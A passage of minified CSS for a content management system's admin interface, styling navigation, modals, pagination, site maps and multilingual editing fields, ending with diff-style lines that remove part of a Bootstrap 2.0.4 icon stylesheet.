0;vertical-align:top;zoom:1}.x .lnb li a{display:block;position:relative;padding:8px 10px;text-decoration:none;color:#666;font-weight:bold;background:#fafafa;border:1px solid #eee;zoom:1}.x .lnb li a .i{position:absolute;top:50%;left:100%;margin:-4px 0 0 -16px;width:8px;height:8px;color:#ccc;background:url(../img/iconNavVr.gif) no-repeat left top}.x .lnb li ul{padding:5px 0;background:#fff}.x .lnb li li{margin:0;border-top:1px dotted #ddd}.x .lnb li li:first-child{border:0}.x .lnb li li a{font-weight:normal;background:#fff;padding:5px 10px;border:0}.x .lnb li li a span{color:#666}.x .lnb li.active{border:1px solid #ccc;z-index:2}.x .lnb li li.active{border:0}.x .lnb li.active a{color:#000;border:0}.x .lnb li.active .i{background-position:0 -44px}.x .lnb li.active li a{border:0}.x .lnb li.active ul{display:block;border-top:1px solid #eee}.x .lnb li.active li.active a span{color:#13b200;font-weight:bold;letter-spacing:-1px}.x .lnb li:last-child a,.x .lnb li.active:last-child{border-radius:0 0 4px 4px!important}.x .sct{float:left;width:210px;position:relative;left:-230px;margin:0;padding:8px 0;border:0;box-shadow:inset 0 0 1px rgba(0,0,0,0.5)}.x .sct h2{margin:0 0 5px 10px;font-size:13px}.x .sct ul{margin:0;font-size:12px}.x .sct li{position:relative}.x .sct a{text-decoration:none;padding:3px 18px 3px 10px}.x .sct form{position:absolute;margin:0;padding:0;top:2px;right:-10px}.x .sct .text{text-decoration:none;font-weight:bold;color:#999!important;width:16px;height:16px;margin:0}.x .sct .text:hover,.x .sct .text:active,.x .sct .text:focus{color:#333!important}.x .cnb{margin:1em 0;position:relative;zoom:1}.x .cnb:after{content:"";display:block;clear:both}.x .cnb ul{list-style:none;margin:0;padding:0}.x .cnb li{display:inline}.x .cnb li:before{content:"| ";color:#ccc}.x .cnb li:first-child:before{content:""}.x .cnb .active,.x .cnb .active a{font-weight:bold;color:#333;text-decoration:none}.x .cnb .side{float:right}.x .pagination{margin:1em 0;text-align:center;line-height:normal}.x .pagination *{vertical-align:middle}.x .pagination a,.x .pagination strong{position:relative;display:inline-block;padding:2px 4px;font-weight:bold;text-decoration:none;line-height:normal;color:#333!important;vertical-align:middle}.x .pagination a:hover,.x .pagination a:active,.x .pagination a:focus{border:1px solid #ddd;margin:0 -1px}.x .pagination strong{color:#e00!important;font-size:20px}.x .pagination .direction{font-weight:normal;white-space:nowrap}.x .pagination .direction:hover,.x .pagination .direction:active,.x .pagination .direction:focus{border:0;margin:0;text-decoration:underline}.x .pagination input{width:30px;text-align:center}.x .pagination button{overflow:visible}.x .starRating,.x .starRating span{display:inline-block;height:14px;background:transparent url(../img/iconStarRating.gif) no-repeat;overflow:hidden}.x .starRating{width:79px;vertical-align:top}.x .starRating span{font-size:0;line-height:0;vertical-align:top;text-indent:-100px;*text-indent:0;background-position:0 -14px}.x .prgrs{white-space:nowrap;line-height:normal;vertical-align:middle}.x .prgrs *{vertical-align:middle}.x .prgrs .pBar{position:relative;display:inline-block;background:#e9e9e9;margin:0 5px 0 0}.x .prgrs .pAction{display:inline-block;vertical-align:top;background:#99a6b6}.x .prgrs .pNum{position:absolute;width:100%;left:0;top:0;text-align:center;text-shadow:1px 1px 0 #fff}.x .prgrs.prgrsSmall{font-size:14px;line-height:14px}.x .prgrs.prgrsSmall .pBar,.x .prgrs.prgrsSmall .pAction,.x .prgrs.prgrsSmall .pNum{height:16px;line-height:16px;font-size:11px}.x .prgrs.prgrsMedium{font-size:24px;line-height:24px}.x .prgrs.prgrsMedium .pBar,.x .prgrs.prgrsMedium .pAction,.x .prgrs.prgrsMedium .pNum{height:22px;line-height:22px;font-size:12px}.x .prgrs.prgrsLarge{font-size:38px;line-height:38px}.x .prgrs.prgrsLarge .pBar,.x .prgrs.prgrsLarge .pAction,.x .prgrs.prgrsLarge .pNum{height:34px;line-height:34px;font-size:14px}.modal{position:absolute;top:0;left:0;width:100%;_height:100%;min-height:100%;z-index:99}.modal .bg{position:absolute;background:#000;_background:0;width:100%;height:100%;opacity:.5;z-index:2;filter:alpha(opacity=50);zoom:1}.modal .fg{position:relative;width:80%;margin:5em auto;background:#fff;padding:0 1em;*padding:1em;border:8px solid #ddd;z-index:3;zoom:1;border-radius:5px;box-shadow:0 0 6px #000}.modal ul,.modal ol,.modal .lined,.modal .table{margin-bottom:1em}.modal .ie6{position:absolute;left:0;top:0;width:100%;height:100%;border:0;opacity:0;filter:alpha(opacity=0);z-index:1}.modalClose{position:absolute;right:-8px;top:-8px;border:0;background:#ddd;padding:0;width:28px;height:28px;font-size:14px;font-weight:bold;cursor:pointer;color:#999;border-radius:5px}.modalBlur{position:absolute;top:0;right:0;border:0;background:0;padding:0;width:1px;height:1px;overflow:hidden}html.modalContainer,body.modalContainer{_height:100%;_width:100%}.x .layer,.x.layer{position:absolute;background:#fff;padding:0 1em;*padding:1em;border:8px solid #ddd;z-index:2;zoom:1;border-radius:5px;-moz-border-radius:5px;-webkit-border-radius:5px;box-shadow:0 0 6px #666;filter:progid:DXImageTransform.Microsoft.Shadow(color=#999999,direction=135,strength=5)}.x .layer h2{font-size:14px}.x .layer ul,.x .layer ol,.x .layer .lined,.x .layer .table{margin-bottom:1em}.x .layerClose{position:absolute;right:-8px;top:-8px;border:0;background:#ddd;padding:0;width:28px;height:28px;font-size:14px;font-weight:bold;cursor:pointer;color:#999;border-radius:5px;-moz-border-radius:5px;-webkit-border-radius:5px}.x .layerBlur{position:absolute;top:0;right:0;border:0;background:0;padding:0;width:1px;height:1px;overflow:hidden}.x .h2Anchor{position:absolute;right:0;border:0;background:0;color:#00f;text-decoration:underline}.x .skipNav{margin:0;text-align:center}@media all and (max-width:860px){.x .skipNav{display:none}}.x .skipNav a{position:absolute;width:1px;height:1px;display:block;padding:10px 0;font-weight:bold;overflow:hidden}.x .skipNav a:hover,.x .skipNav a:active,.x .skipNav a:focus{position:relative;width:auto;height:auto}.x .header{position:relative;z-index:2;padding:30px 0 0 0;background:#4c4c4c;box-shadow:0 0 10px #aaa;zoom:1;border-radius:5px 5px 0 0}.x .header:after{content:"";display:block;clear:both}.x .header a{text-decoration:none}.x .header h1{margin:0 0 10px 20px;font-size:24px;line-height:32px;display:inline-block;*display:inline;zoom:1;vertical-align:middle}.x .header h1 *{vertical-align:middle}.x .header h1 a{display:inline-block;color:#fff;text-shadow:1px 1px 0 #000;filter:progid:DXImageTransform.Microsoft.dropshadow(OffX=1,OffY=1,Color=#000000,Positive=true);zoom:1}.x .header h1 .url{font-size:12px;font-weight:normal}.x .header .site{margin:0 0 10px 20px;display:inline-block;*display:inline;zoom:1}.x .header .site a{color:#fff;text-decoration:underline}.x .header #moveSiteList{padding:10px 1em 5px 1em;margin:0}.x .header #moveSiteList ul{list-style:none;margin:0;padding:0}.x .header #moveSiteList li{white-space:nowrap;margin:0;padding:4px 0;border-bottom:1px dotted #ccc}.x .header #siteMapList{padding:0 1em 1em 1em;margin:0}.x .header #siteMapList li{white-space:nowrap}.x .header .account{position:absolute;z-index:3;width:100%;top:0;right:0;white-space:nowrap;text-align:right;background:#333;border-bottom:1px solid #656565;color:#fff;font-size:12px;border-radius:5px 5px 0 0}.x .header .account ul{margin:0;padding:5px 20px 5px 0;list-style:none}.x .header .account li{position:relative;display:inline;border-left:1px solid #666;padding:0 6px 0 10px}.x .header .account li:first-child{border:0}.x .header .account a{color:#fff;display:inline-block;height:14px}.x .header .account a.language{padding-right:16px;background:url(../img/iconArrow.gif) no-repeat right -160px}.x .header #language{position:absolute;top:19px;right:-20px;padding:6px 4px!important;border:1px solid #666;border-top:0;background:#333}@media all and (max-width:860px){.x .header #language{right:-10px}}.x .header #language li{border:0;display:block;padding:1px 8px 1px 10px;text-align:left;line-height:1}.x .header #language li.selected{background:url(../img/iconCheck.gif) no-repeat left center}.x .header #language li.selected a{text-decoration:underline}.x .header h1 a:hover,.x .header h1 a:active,.x .header h1 a:focus,.x .header .account a:hover,.x .header .account a:active,.x .header .account a:focus{color:#6e9cf2;text-decoration:underline}.x .footer{border-top:1px solid #ddd;text-align:center;font-size:12px;padding:1.5em 0;zoom:1}.x .footer *{font-size:12px}.x .footer:after{content:"";display:block;clear:both}.x .footer p{margin:0}.x .footer .power{float:left}.x .footer .cache{float:right}.x .footer .vr{color:#ccc}.x .body{position:relative;z-index:1;padding:30px 10px 30px 240px;zoom:1}.x .body:after{content:"";display:block;clear:both}.x .content{float:right;width:100%;margin-left:-210px;zoom:1;outline:0;min-height:500px}.x .content:after{content:"";display:block;clear:both}.x .content a{color:#33a}.x .content a:hover,.x .content a:active,.x .content a:focus{color:#a33}.x .content .portlet a{text-decoration:none}.x .content .portlet a:hover,.x .content .portlet a:active,.x .content .portlet a:focus{text-decoration:underline}.x .dashboard .section{margin-top:0}.x .dashboard .portlet{float:left;width:48%;margin-right:1em;margin-top:0;min-height:188px}.x .dashboard .portlet:nth-of-type(odd){float:left;width:49%;margin-right:0}.x .dashboard .portlet:nth-of-type(even){float:right;width:49%;margin-right:0}@media all and (min-width:1300px){.x .dashboard .portlet{float:left!important;width:32%!important;margin-right:1em!important}}.x .search{zoom:1}.x .search:after{content:"";display:block;clear:both}.x .search .pagination{float:left;text-align:left}.x .search form{float:right;margin:1em 0}.x .search form *{vertical-align:middle}.x .siteMap h2 input{font-size:14px;font-weight:bold;padding:3px 4px;margin:0;border:0;background:transparent}.x .siteMap h2:hover input,.x .siteMap h2 input:focus{background:#ff0;border:1px dashed #ccc;margin:-1px}.x .siteMap label{cursor:text}.x .siteMap .lined ul{padding:0;margin:0;border-top:1px solid #eee;zoom:1}.x .siteMap .lined li{position:relative;padding:0;margin:0;cursor:all-scroll;list-style:none;zoom:1}.x .siteMap .lined li li{border-top:1px solid #eee}.x .siteMap li li{text-indent:18px}.x .siteMap li li li{text-indent:36px}.x .siteMap li li li li{text-indent:54px}.x .siteMap li li li li li{text-indent:72px}.x .siteMap li li li li li li{text-indent:90px}.x .siteMap li li li li li li li{text-indent:108px}.x .siteMap li li li li li li li li{text-indent:126px}.x .siteMap li li li li li li li li li{text-indent:144px}.x .siteMap li li li li li li li li li li{text-indent:162px}.x .siteMap li li li li li li li li li li li{text-indent:180px}.x .siteMap li li li li li li li li li li li li{text-indent:198px}.x .siteMap li *{vertical-align:middle}.x .siteMap li .moveTo+input{width:200px;border:0;padding:0 .5em}.x .siteMap li .moveTo+input:hover,.x .siteMap li .moveTo+input:active,.x .siteMap li .moveTo+input:focus{border:1px dotted #ccc;overflow:visible}.x .siteMap .moveTo{position:relative;z-index:2;width:22px;height:32px;padding:32px 0 0 0;margin:0 3px;_margin-top:-1px;overflow:hidden;background:#fff url(../img/iconMoveTo.gif) no-repeat center 0;border:0;cursor:move}.x .siteMap li.active,.x .siteMap li.active .moveTo{background-color:#f7f7f7}.x .siteMap li.active li,.x .siteMap li.active ul{border-top-color:#f7f7f7}.x .siteMap li.active .moveTo{background-position:center -32px}.x .siteMap .vr,.x .siteMap .hr{display:none;position:absolute;z-index:1;left:14px;border:0 solid #ccc;overflow:hidden}.x .siteMap .vr{top:-16px;height:100%;border-left-width:1px}.x .siteMap .hr{top:16px;width:16px;border-top-width:1px}.x .siteMap li.active .vr,.x .siteMap li.active li .hr{display:block}.x .siteMap li li .vr,.x .siteMap li li li .hr{left:32px}.x .siteMap li li li .vr,.x .siteMap li li li li .hr{left:50px}.x .siteMap li li li li .vr,.x .siteMap li li li li li .hr{left:68px}.x .siteMap li li li li li .vr,.x .siteMap li li li li li li .hr{left:86px}.x .siteMap li li li li li li .vr,.x .siteMap li li li li li li li .hr{left:104px}.x .siteMap li li li li li li li .vr,.x .siteMap li li li li li li li li .hr{left:122px}.x .siteMap li li li li li li li li .vr,.x .siteMap li li li li li li li li li .hr{left:140px}.x .siteMap li li li li li li li li li .vr,.x .siteMap li li li li li li li li li li .hr{left:158px}.x .siteMap li li li li li li li li li li .vr,.x .siteMap li li li li li li li li li li li .hr{left:176px}.x .siteMap li li li li li li li li li li li .vr,.x .siteMap li li li li li li li li li li li li .hr{left:336px}.x .siteMap .side{padding-top:0!important;padding-bottom:0!important;line-height:30px;background:transparent!important}.x .siteMap .side button{text-indent:0;line-height:1}.x .siteMap .tgMap{position:absolute;top:12px;right:1em;padding:0 16px 0 0;line-height:16px;background:url(../img/iconArrow.gif) no-repeat right -126px}.x .siteMap.fold .tgMap{background-position:right -158px}.x .siteMap.fold .h2{border-bottom-color:#fff;border-radius:5px}.x .siteMap .placeholder{background:#bbb}.x .siteMap .draggable,.x .siteMap .draggable .moveTo{background-color:#ddd}.x .siteMap .draggable .summary{border-left:1px solid #ccc;padding-left:10px;margin-left:10px;font-size:11px;color:#999}.x .siteMap a.ms{text-decoration:underline}.x .langEdit{background:#fff;position:absolute;*left:0;*margin-top:28px;z-index:10}.x .langEdit ul{border-top:1px solid #ccc;border-left:1px solid #eee;border-right:1px solid #eee;margin:0}.x .langEdit li{padding:.5em 10px}.x .langEdit input[type=text]{width:220px;padding-right:40px}.x .langEdit label{left:15px!important}.x .langEdit .action{border:1px solid #eee;width:268px;padding:0 10px}.x .langEdit p,.x .langEdit .btnArea{white-space:normal}.x .langEdit .langList,.x .langEdit .langEditControls{box-shadow:3px 3px 6px #999;filter:progid:DXImageTransform.Microsoft.Shadow(color=#999999,direction=135,strength=5)}.x .langEdit .langList{margin:0 -1px 0 0;display:none}.x .langEdit .langList li{white-space:nowrap;color:#ccc;width:270px}.x .langEdit .langList li span{display:inline-block;width:80px;overflow:hidden;white-space:nowrap;text-overflow:ellipsis;color:#767676}.x .langEdit .langList li a{display:inline-block;width:80px;overflow:hidden;white-space:nowrap;text-overflow:ellipsis}.x .langEdit .langList li.active{background:url(../img/iconArrow.gif) no-repeat right -188px}.x .langEdit.showChild .langList{display:block}.x .langEdit .langInput{background:#fff}.x .langEdit .langInput h2{padding:5px 10px;margin:0 0 -1px 0;font-size:12px;font-weight:normal;color:#666;border:1px solid #eee;border-top-color:#ccc}.x .langEdit .langInput h2 strong{color:#000;font-size:14px}.x .langEdit.showChild .langInput{position:absolute;left:285px;top:0}.x .langEdit li.en input,.x .langEdit li.en textarea,.x .mLangEdit li.en textarea{background:url(../img/flag.us.gif) no-repeat 99% 5px}.x .langEdit li.ko input,.x .langEdit li.ko textarea,.x .mLangEdit li.ko textarea{background:url(../img/flag.kr.gif) no-repeat 99% 5px}.x .langEdit li.jp input,.x .langEdit li.jp textarea,.x .mLangEdit li.jp textarea{background:url(../img/flag.jp.gif) no-repeat 99% 5px}.x .langEdit li.fr input,.x .langEdit li.fr textarea,.x .mLangEdit li.fr textarea{background:url(../img/flag.fr.gif) no-repeat 99% 5px}.x .langEdit li.de input,.x .langEdit li.de textarea,.x .mLangEdit li.de textarea{background:url(../img/flag.de.gif) no-repeat 99% 5px}.x .langEdit li.ru input,.x .langEdit li.ru textarea,.x .mLangEdit li.ru textarea{background:url(../img/flag.ru.gif) no-repeat 99% 5px}.x .langEdit li.es input,.x .langEdit li.es textarea,.x .mLangEdit li.es textarea{background:url(../img/flag.es.gif) no-repeat 99% 5px}.x .langEdit li.tr input,.x .langEdit li.tr textarea,.x .mLangEdit li.tr textarea{background:url(../img/flag.tr.gif) no-repeat 99% 5px}.x .langEdit li.vi input,.x .langEdit li.vi textarea,.x .mLangEdit li.vi textarea{background:url(../img/flag.vn.gif) no-repeat 99% 5px}.x .langEdit li.mn input,.x .langEdit li.mn textarea,.x .mLangEdit li.mn textarea{background:url(../img/flag.mn.gif) no-repeat 99% 5px}.x .langEdit li.zh-CN input,.x .langEdit li.zh-CN textarea,.x .mLangEdit li.zh-CN textarea{background:url(../img/flag.cn.gif) no-repeat 99% 5px}.x .langEdit li.zh-TW input,.x .langEdit li.zh-TW textarea,.x .mLangEdit li.zh-TW textarea{background:url(../img/flag.tw.gif) no-repeat 99% 5px}.x .mLangEdit.en strong{background:url(../img/flag.us.gif) no-repeat 0 10px}.x .mLangEdit.ko strong{background:url(../img/flag.kr.gif) no-repeat 0 10px}.x .mLangEdit.jp strong{background:url(../img/flag.jp.gif) no-repeat 0 10px}.x .mLangEdit.fr strong{background:url(../img/flag.fr.gif) no-repeat 0 10px}.x .mLangEdit.de strong{background:url(../img/flag.de.gif) no-repeat 0 10px}.x .mLangEdit.ru strong{background:url(../img/flag.ru.gif) no-repeat 0 10px}.x .mLangEdit.es strong{background:url(../img/flag.es.gif) no-repeat 0 10px}.x .mLangEdit.tr strong{background:url(../img/flag.tr.gif) no-repeat 0 10px}.x .mLangEdit.vi strong{background:url(../img/flag.vn.gif) no-repeat 0 10px}.x .mLangEdit.mn strong{background:url(../img/flag.mn.gif) no-repeat 0 10px}.x .mLangEdit.zh-CN strong{background:url(../img/flag.cn.gif) no-repeat 0 10px}.x .mLangEdit.zh-TW strong{background:url(../img/flag.tw.gif) no-repeat 0 10px}.x .mLangEdit ul ul{border:0}.x .mLangEdit li{position:relative;padding:0}.x .mLangEdit li strong{display:inline-block;padding:6px 100px 8px 24px;font-weight:normal;line-height:1.5}.x .mLangEdit li .side{position:absolute;top:8px;right:0;padding-right:18px;background:url(../img/iconArrow.gif) no-repeat right -160px}.x .mLangEdit li li{border:0;padding-right:36px}.x .mLangEdit li textarea{width:100%;height:16px;padding-right:30px;resize:vertical;line-height:1.4}.x .mLangEdit li label{top:8px!important}.x .mLangEdit li.active{background:#fffdef}.x .mLangEdit li.active strong{font-weight:bold}.x .mLangEdit li.active .side{background-position:right -128px}.modal .mLangEdit ul{padding-bottom:1em}.modal .mLangEdit li{border:0;padding-right:36px}.x .suggestion{display:none;position:absolute;background:#fff;z-index:10;_height:200px;max-height:200px;overflow:auto;*left:0;*margin-top:28px;box-shadow:3px 3px 6px #999;filter:progid:DXImageTransform.Microsoft.Shadow(color=#999999,direction=135,strength=5)}.x .suggestion ul{border-top:1px solid #ccc;border-left:1px solid #eee;border-right:1px solid #eee;margin:0}.x .suggestion li{padding:0}.x .suggestion li:last-child{border-bottom:0}.x .suggestion li button{border:0;background:#fff;text-align:left;width:288px;padding:2px 4px;display:block;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.x .suggestion li button:hover,.x .suggestion li button:active,.x .suggestion li button:focus,.x .suggestion li button.active{background:#eee}.x #imageMark{right:0}.x .easyNav{position:relative;border:1px solid #e9e9e9;zoom:1}.x .easyNav:after{content:"";display:block;clear:both}.x .easyNav h2{font-size:16px}.x .easyNav .category{width:30%;float:left;margin:0 2em;display:inline}.x .easyNav .filter{position:absolute;top:0;right:0;margin:1em 2em;text-align:right}.x .easyList caption .side .text .hide,.x .easyList caption .side .details .show{display:none}.x .easyList caption .side .details .hide{display:inline}.x .easyList td p:first-child{margin:0}.x .easyList td p.update{background:#ffc;padding:.5em 1em;border:1px solid #fc9;border-left:0;border-right:0;text-align:center}.x .fontPreview{width:96%;border:1px solid #e9e9e9;zoom:1;padding:1em 2em;margin:.5em 0}.x #ftpSuggestion{background:#fff;box-shadow:3px 3px 6px #999;filter:progid:DXImageTransform.Microsoft.Shadow(color=#999999,direction=135,strength=5)}.x #ftpSuggestion ul{border-left:1px solid #eee;border-right:1px solid #eee}.x #ftpSuggestion li{padding:0}.x #ftpSuggestion li button{border:0;background:#fff;text-align:left;width:288px}.x #ftpSuggestion li button:hover,.x #ftpSuggestion li button:active,.x #ftpSuggestion li button:focus{background:#eee}.x .thumbPreview li{position:relative;padding-left:10px;padding-right:10px}.x .thumbPreview li.active.highlight{background:#f9f9f9}.x .thumbPreview .prevToggle{position:absolute;top:8px;right:10px;line-height:16px;padding:0 18px 0 0;text-decoration:none;background:url(../img/iconArrow.gif) no-repeat right -32px}.x .thumbPreview li.active .prevToggle{background-position:right 0}.x .thumbPreview .a{border:0;margin:0;zoom:1}.x .thumbPreview .a:after{content:"";display:block;clear:both}.x .thumbPreview .i{float:left;vertical-align:top;margin:0 1em 1em 0;padding:0;border:0;zoom:1}.x .thumbPreview .i:after{content:"";display:block;clear:both}.x .thumbPreview .i .thumb{position:relative;width:124px;height:84px;padding:0;margin-bottom:3px;text-align:center;overflow:hidden;border:1px solid #ddd;display:block;cursor:pointer;background:#fff}.x .thumbPreview .i .thumb .frame{position:absolute;width:120px;height:80px;left:0;top:0;border:2px solid #fff;overflow:hidden}.x .thumbPreview .i .thumb img{width:120px;margin:0}.x .thumbPreview .i label{display:block;position:relative;top:0;left:2px;width:122px;height:1.1em;margin:0;white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.x .thumbPreview .i input{display:none}.x .thumbPreview .i ul{display:none}.x .thumbPreview .selected .i{display:block;float:none}.x .thumbPreview .selected .i .thumb{float:left;width:186px;height:126px;margin:0 1em 0 0;border:2px solid #eee}.x .thumbPreview .selected .i .thumb .frame{width:180px;height:120px;border-width:3px}.x .thumbPreview li.active.highlight .selected .i .thumb{border-color:#5ea8f6}.x .thumbPreview .selected .i .thumb img{width:180px;position:relative}.x .thumbPreview li.active .selected .i .thumb img{z-index:auto}.x .thumbPreview .selected .i label{cursor:text}.x .thumbPreview .selected .i ul{display:block;list-style:none;border:0;margin:1em 0 1em 200px}.x .thumbPreview .selected .i li{border:0;padding:0;margin:0 0 .2em 0}.x .thumbPreview.jx .i label{display:inline;width:auto}.x .thumbPreview.jx .i.noDirection{display:none}.x .thumbPreview.jx .i input{display:inline}.x #skin .showAll{float:right;border:0;overflow:visible;padding:0 18px 0 0;cursor:pointer;color:#00f;background:url(../img/iconArrow.gif) no-repeat right -32px}.x #skin .showAll.hideAll{background-position:right 0}.x .fvOff,.x .fvOn{display:inline-block;width:16px;height:16px;overflow:hidden;text-indent:16px;background:transparent url(../img/iconFavorite.gif) no-repeat;border:0}.x .fvOn{background-position:0 -16px}.x .uDrag .wrap{position:relative;padding-left:20px}.x .uDrag li>.wrap{margin:0 0 0 8px}.x .uDrag .dragActive{background:#FFD}.x .uDrag .dragActive th,.x .uDrag .dragActive td{background:none!important}.x .uDrag .dragBtn{position:absolute;width:8px;height:100%;padding:0;overflow:hidden;background:url(../img/bgDragable.gif);top:1px;left:0;text-indent:12px;border:0;cursor:n-resize;white-space:nowrap}.x .faviconPreview{position:relative;padding:60px 0 0 200px;background:url(../img/bgFavicon.gif) no-repeat}.x .faviconPreview img{position:absolute}.x .faviconPreview .fn1{top:30px;left:12px}.x .faviconPreview .fn2{top:55px;left:68px}.x .mobiconPreview{position:relative;padding:252px 0 0 200px;background:url(../img/bgMobileTop.png) no-repeat}.x .mobiconPreview img{position:absolute;top:20px;left:10px}.x .mobiconPreview span{position:absolute;width:32px;text-align:center;top:52px;left:10px;color:#fff;font-size:9px}.x .textList{border:1px solid #ddd!important;line-height:1.5em;height:18.5em;overflow:auto}.x .textList li{border:0;padding:.25em 1em;height:1.5em;white-space:nowrap;overflow:hidden}.x .textList li:nth-child(even){background:#eee}.x .textList li a{float:right}.x .fileBox li{position:relative}.x .fileBox li img{max-width:100%}.x .fileBox .portlet ul{margin:1em;list-style:none;padding:0;border:0}.x .fileBox .portlet li{border-top:1px solid #ddd;border-bottom:0;padding:8px 0}.x .fileBox .side{position:absolute;top:8px;right:0}.x .desc.error{color:#f00}.x .desc.success{color:#080}.x a.iSetting{display:inline-block;width:16px;height:0;padding:16px 0 0 0;overflow:hidden;vertical-align:middle;background:url(../img/iconSetting.gif) no-repeat}.x a.cMenu{display:inline-block;width:16px;height:0;padding:16px 0 0 0;overflow:hidden;vertical-align:middle;background:url(../../../../common/img/icon.bubble.png) no-repeat}.x .sTog{float:right;border:0;background-color:transparent;width:28px;height:18px;opacity:.5;filter:alpha(opacity=50)}@media all and (max-width:860px){.x .header .account ul{padding-right:10px}.x .body{padding:1em 0 0 0}.x .content{float:none;margin-left:0}.x .lnb{float:none;width:auto;margin:1em 0;left:auto}.x .dashboard .portlet{float:none!important;width:auto!important;margin-right:0}.modal .fg,.wfsr .fg{width:auto}.x .easyNav .category{float:none;display:block;width:auto}.x .easyNav .filter{position:static}}.x h3.xeAdmin,.x h4.xeAdmin{position:relative;border-bottom-style:solid;border-bottom-color:#ccc;zoom:1}.x h3.xeAdmin{border-bottom-width:4px;font-size:24px}.x h4.xeAdmin{border-bottom-width:3px;font-size:20px}.x h5.xeAdmin{border-bottom-width:2px;font-size:16px}.x h6.xeAdmin{border-bottom-width:1px;font-size:12px}.x .adminSearch{margin:1em 0}.x .adminSearch fieldset{border:1px solid #ccc;margin:0;padding:.5em 1em}.x .localNavigation{padding:0;list-style:none}.x .localNavigation li{display:inline}.x .localNavigation li.on a{font-weight:bold;color:#333;text-decoration:none}.x .localNavigation li:before{content:"| "}.x .localNavigation li:first-child:before{content:""}.x .summary{margin:1em 0}.x .rowTable,.x .colTable,.x .crossTable{margin:1em 0;border:0;border-collapse:collapse;border-top:2px solid #ccc;width:100%}.x .rowTable caption,.x .colTable caption,.x .crossTable caption{font-weight:bold;text-align:left;line-height:22px;padding:5px 0}.x .rowTable caption:after,.x .colTable caption:after,.x .crossTable caption:after{content:"";display:block;clear:both}.x .rowTable caption a,.x .colTable caption a,.x .crossTable caption a{font-weight:normal}.x .rowTable caption em,.x .colTable caption em,.x .crossTable caption em{float:right;font-style:normal;font-weight:normal;color:#e00;margin-left:1em}.x .rowTable caption strong,.x .colTable caption strong,.x .crossTable caption strong{color:#e00}.x .rowTable caption .side,.x .colTable caption .side,.x .crossTable caption .side{float:right;font-weight:normal;margin-left:1em}.x .rowTable th,.x .rowTable td,.x .colTable th,.x .rowTable td,.x .crossTable th,.x .rowTable td{border:0;padding:8px;vertical-align:top;text-align:left;border-bottom:1px solid #ddd}.x .rowTable th,.x .colTable th,.x .crossTable th{background:#f8f8f8;white-space:nowrap}.x .rowTable thead th,.x .colTable thead th,.x .crossTable thead th{border-bottom:1px solid #999}.x .rowTable tfoot td,.x .colTable tfoot td,.x .crossTable tfoot td{font-weight:bold;background:#f8f8f8}.x .rowTable.even tbody tr:nth-of-type(even) td,.x .colTable.even tbody tr:nth-of-type(even) td,.x .crossTable.even tbody tr:nth-of-type(even) td{background-color:#fafafa}.x .rowTable td>input[type=text],.x .colTable td>input[type=text],.x .crossTable td>input[type=text]{margin:-1px 0 -3px 0!important;vertical-align:middle}.x .rowTable img,.x .colTable img,.x .crossTable img{vertical-align:middle}.x .rowTable .title,.x .colTable .title,.x .crossTable .title,.x .rowTable .text,.x .colTable .text,.x .crossTable .text{white-space:normal}.x .rowTable input[type=text],.x .colTable input[type=text],.x .crossTable input[type=text],.x .rowTable input[type=password],.x .colTable input[type=password],.x .crossTable input[type=password],.x .rowTable input[type=file],.x .colTable input[type=file],.x .crossTable input[type=file],.x .rowTable textarea,.x .colTable textarea,.x .crossTable textarea{position:relative;width:280px;margin:2px 0;border:1px solid #b7b7b7;border-right-color:#e1e1e1;border-bottom-color:#e1e1e1;background:transparent}.x .rowTable input[type=text],.x .colTable input[type=text],.x .crossTable input[type=text],.x .rowTable input[type=password],.x .colTable input[type=password],.x .crossTable input[type=password],.x .rowTable input[type=file],.x .colTable input[type=file],.x .crossTable input[type=file]{height:22px;line-height:22px;vertical-align:middle;padding:0 4px}.x .clear:after{content:"";display:block;clear:both}.x .moduleSearchWindow{position:absolute;width:700px;z-index:100}.x .moduleSearchWindow,.moduleSearchWindow div{margin:0;padding:0;color:#2d2c2d;font-size:12px}.x .moduleSearchWindow h2{margin:0;padding:4px;height:24px;line-height:24px;background:#666;text-align:left;color:#fff;font-size:12px}.x .moduleSearchWindow .sectionDiv{position:relative;margin:0;background:#fff;border:1px solid}.x .moduleSearchWindow .siteList{float:left;width:295px}.x .moduleSearchWindow .highlight{background:yellow;color:red;font-style:italic}.x .moduleSearchWindow .moduleTypeList{margin-left:5px;float:left;width:200px}.x .moduleSearchWindow .moduleInstanceList{float:right;width:190px}.x .moduleSearchWindow ul{margin:0;padding:0;border:0}.x .moduleSearchWindow li{font-size:12px;border:0;border-bottom:1px solid #ccc;margin:0;padding:4px 4px;font-family:나눔고딕,NanumGothic,"맑은 고딕","Malgun Gothic",AppleGothic,돋움,Dotum,굴림,Gulim,sans-serif}.x .moduleSearchWindow li:hover,.moduleSearchWindow li.on{background:#eee;cursor:pointer}.x .moduleSearchWindow li div{margin:0;padding:0;display:inline-block;white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.x .moduleSearchWindow .siteList li div{width:270px}.x .moduleSearchWindow .siteListSearchBox{margin:0;padding:4px 0;height:24px;border-bottom:1px solid #888}.x .moduleSearchWindow .siteListSearchBoxBorder{margin-left:3px;height:22px;width:287px;border:1px solid #ccc}.x .moduleSearchWindow input.siteListSearchInput{margin:0;padding:0;position:relative;float:right;width:260px;margin-right:4px;border:0}.x .moduleSearchWindow .siteListSearchBox .searchImg{position:relative;float:left;margin-top:4px;margin-left:4px}.x .moduleSearchWindow .moduleTypeList li div{width:170px}.x .moduleSearchWindow .moduleInstanceList li div{width:190px}.x .moduleSearchWindow .moduleSearch_ok{float:right}.x .moduleSearchWindow select.moduleInstanceListSelect{width:100%} -/*! - * Bootstrap v2.0.4 - * - * Copyright 2012 Twitter, Inc - * Licensed under the Apache License v2.0 - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Designed and built with all the love in the world@twitter by@mdo and@fat. -*/ -[class^="icon-"],[class*=" icon-"]{display:inline-block;width:14px;height:14px;*margin-right:.3em;line-height:14px;vertical-align:text-top;background-image:url("../img/glyphicons-halflings.png");background-position:14px 14px;background-repeat:no-repeat}[class^="icon-"]:last-child,[class*=" icon-"]:last-child{*margin-left:0}.icon-white{background-image:url("../img/glyphicons-halflings-white.png")}.icon-glass{background-position:0 0}.icon-music{background-position:-24px 0}.icon-search{background-position:-48px 0}.icon-envelope{background-position:-72px 0}.icon-heart{background-position:-96px 0}.icon-star{background-position:-120px 0}.icon-star-empty{background-position:-144px 0}.icon-user{background-position:-168px 0}.icon-film{background-position:-192px 